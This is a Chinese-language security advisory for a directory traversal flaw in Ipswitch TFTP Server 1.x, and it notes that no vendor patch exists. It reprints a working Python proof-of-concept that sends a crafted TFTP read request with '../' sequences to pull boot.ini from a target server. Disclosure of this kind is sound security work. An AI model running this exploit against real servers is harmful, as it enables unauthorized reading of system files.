发布日期:2011-12-02
更新日期:2011-12-05
受影响系统:
Ipswitch Ipswitch TFTP Server 1.x
描述:
--------------------------------------------------------------------------------
BUGTRAQ ID: 50890
Ipswitch TFTP Server是免费的网络系统或配置文件传输工具。
Ipswitch TFTP Server在处理包含../序列的Read请求的实现上存在验证错误漏洞,通过目录遍历攻击可导致下载或上传根目录之外的任意文件。
<*来源:SecPod Research
链接:?p=424
*>
测试方法:
--------------------------------------------------------------------------------
警 告
以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!
#!/usr/bin/python
##############################################################################
# Title : Ipswitch TFTP Server Directory Traversal Vulnerability
# Author : Prabhu S Angadi from SecPod Technologies ()
# Vendor :
# Advisory : ?p=424
#
#
# Version : Ipswitch TFTP Server 1.0.0.24
# Date : 02/12/2011
##############################################################################
import sys, socket
def sendPacket(HOST, PORT, data):
'''
Sends UDP Data to a Particular Host on a Specified Port
with a Given Data and Return the Response
'''
udp_sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
udp_sock.sendto(data, (HOST, PORT))
data = udp_sock.recv(1024)
udp_sock.close()
return data
if __name__ == "__main__":
if len(sys.argv) < 2:
print '\tUsage: python exploit.py target_ip'
print '\tExample : python exploit.py 127.0.0.1'
print '\tExiting...'
sys.exit(0)
HOST = sys.argv[1] ## The Server IP
PORT = 69 ## Default TFTP port
data = "\x00\x01" ## TFTP Read Request
data += "../" * 10 + "boot.ini" + "\x00" ## Read boot.ini file using directory traversal
data += "netascii\x00" ## TFTP Type
## netascii
rec_data = sendPacket(HOST, PORT, data)
print "Data Found on the target : %s " %(HOST)
print rec_data.strip()
建议:
--------------------------------------------------------------------------------
厂商补丁:
Ipswitch
--------
目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本: